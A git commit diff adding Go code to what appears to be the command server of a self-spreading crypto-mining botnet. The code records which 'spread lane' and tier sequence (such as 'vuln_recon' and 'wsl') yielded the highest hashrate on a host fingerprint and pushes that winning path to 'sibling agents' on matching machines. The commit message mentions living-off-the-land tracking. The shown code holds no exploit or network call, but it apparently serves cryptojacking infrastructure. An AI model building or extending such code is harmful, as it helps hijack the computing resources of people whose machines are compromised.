Add fleet phenotype cloning for sibling machines.
Publish winning tier paths per host fingerprint on hashrate success, inherit on auth before adaptive strategy, and surface clone badges in LOTL Timeline and Access Depth.
This commit is contained in:
77
server/internal/strategy/phenotype.go
Normal file
77
server/internal/strategy/phenotype.go
Normal file
@@ -0,0 +1,77 @@
|
||||
package strategy
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// FleetPhenotype is the best-known winning path for a host fingerprint bucket.
|
||||
type FleetPhenotype struct {
|
||||
ID string `json:"id"`
|
||||
SourceAgentID string `json:"source_agent_id"`
|
||||
SourceAgentName string `json:"source_agent_name"`
|
||||
Fingerprint string `json:"fingerprint"`
|
||||
OS string `json:"os"`
|
||||
SpreadLane string `json:"spread_lane,omitempty"`
|
||||
ActiveTier string `json:"active_tier,omitempty"`
|
||||
TierOrder []string `json:"tier_order"`
|
||||
PeakHashrate float64 `json:"peak_hashrate"`
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
}
|
||||
|
||||
// InheritedPhenotype is pushed to sibling agents on auth when fingerprint matches.
|
||||
type InheritedPhenotype struct {
|
||||
SourceAgentName string `json:"source_agent_name"`
|
||||
Fingerprint string `json:"fingerprint"`
|
||||
SpreadLane string `json:"spread_lane,omitempty"`
|
||||
TierOrder []string `json:"tier_order"`
|
||||
ActiveTier string `json:"active_tier,omitempty"`
|
||||
PeakHashrate float64 `json:"peak_hashrate,omitempty"`
|
||||
}
|
||||
|
||||
// TierAttempt is a minimal stats/tier_report attempt for phenotype tier_order building.
|
||||
type TierAttempt struct {
|
||||
Tier string
|
||||
OK bool
|
||||
}
|
||||
|
||||
// BuildWinningTierOrder derives spread+mining tier order from successful attempts.
|
||||
func BuildWinningTierOrder(attempts []TierAttempt, activeTier string, fallback []string) []string {
|
||||
seen := make(map[string]bool)
|
||||
order := make([]string, 0, len(attempts)+1)
|
||||
for _, a := range attempts {
|
||||
tier := strings.TrimSpace(a.Tier)
|
||||
if !a.OK || tier == "" || seen[tier] {
|
||||
continue
|
||||
}
|
||||
order = append(order, tier)
|
||||
seen[tier] = true
|
||||
}
|
||||
if len(order) == 0 && len(fallback) > 0 {
|
||||
for _, t := range fallback {
|
||||
tier := strings.TrimSpace(t)
|
||||
if tier == "" || seen[tier] {
|
||||
continue
|
||||
}
|
||||
order = append(order, tier)
|
||||
seen[tier] = true
|
||||
}
|
||||
}
|
||||
activeTier = strings.TrimSpace(activeTier)
|
||||
if activeTier != "" && !seen[activeTier] {
|
||||
order = append(order, activeTier)
|
||||
}
|
||||
return order
|
||||
}
|
||||
|
||||
// ToInherited converts a stored phenotype into an auth payload for sibling agents.
|
||||
func (p FleetPhenotype) ToInherited() InheritedPhenotype {
|
||||
return InheritedPhenotype{
|
||||
SourceAgentName: p.SourceAgentName,
|
||||
Fingerprint: p.Fingerprint,
|
||||
SpreadLane: p.SpreadLane,
|
||||
TierOrder: append([]string(nil), p.TierOrder...),
|
||||
ActiveTier: p.ActiveTier,
|
||||
PeakHashrate: p.PeakHashrate,
|
||||
}
|
||||
}
|
||||
35
server/internal/strategy/phenotype_store.go
Normal file
35
server/internal/strategy/phenotype_store.go
Normal file
@@ -0,0 +1,35 @@
|
||||
package strategy
|
||||
|
||||
import "crypto-miner-server/internal/db"
|
||||
|
||||
// PhenotypeToStored converts a strategy phenotype into a DB row.
|
||||
func PhenotypeToStored(p FleetPhenotype) db.StoredPhenotype {
|
||||
return db.StoredPhenotype{
|
||||
ID: p.ID,
|
||||
SourceAgentID: p.SourceAgentID,
|
||||
SourceAgentName: p.SourceAgentName,
|
||||
Fingerprint: p.Fingerprint,
|
||||
OS: p.OS,
|
||||
SpreadLane: p.SpreadLane,
|
||||
ActiveTier: p.ActiveTier,
|
||||
TierOrder: append([]string(nil), p.TierOrder...),
|
||||
PeakHashrate: p.PeakHashrate,
|
||||
CreatedAt: p.CreatedAt,
|
||||
}
|
||||
}
|
||||
|
||||
// PhenotypeFromStored converts a DB row into a strategy phenotype.
|
||||
func PhenotypeFromStored(p db.StoredPhenotype) FleetPhenotype {
|
||||
return FleetPhenotype{
|
||||
ID: p.ID,
|
||||
SourceAgentID: p.SourceAgentID,
|
||||
SourceAgentName: p.SourceAgentName,
|
||||
Fingerprint: p.Fingerprint,
|
||||
OS: p.OS,
|
||||
SpreadLane: p.SpreadLane,
|
||||
ActiveTier: p.ActiveTier,
|
||||
TierOrder: append([]string(nil), p.TierOrder...),
|
||||
PeakHashrate: p.PeakHashrate,
|
||||
CreatedAt: p.CreatedAt,
|
||||
}
|
||||
}
|
||||
17
server/internal/strategy/phenotype_test.go
Normal file
17
server/internal/strategy/phenotype_test.go
Normal file
@@ -0,0 +1,17 @@
|
||||
package strategy
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestBuildWinningTierOrderFromAttempts(t *testing.T) {
|
||||
order := BuildWinningTierOrder([]TierAttempt{
|
||||
{Tier: "vuln_recon", OK: true},
|
||||
{Tier: "docker", OK: false},
|
||||
{Tier: "wsl", OK: true},
|
||||
}, "cpu_inprocess", nil)
|
||||
if len(order) != 3 {
|
||||
t.Fatalf("order = %v", order)
|
||||
}
|
||||
if order[0] != "vuln_recon" || order[1] != "wsl" || order[2] != "cpu_inprocess" {
|
||||
t.Fatalf("unexpected order: %v", order)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user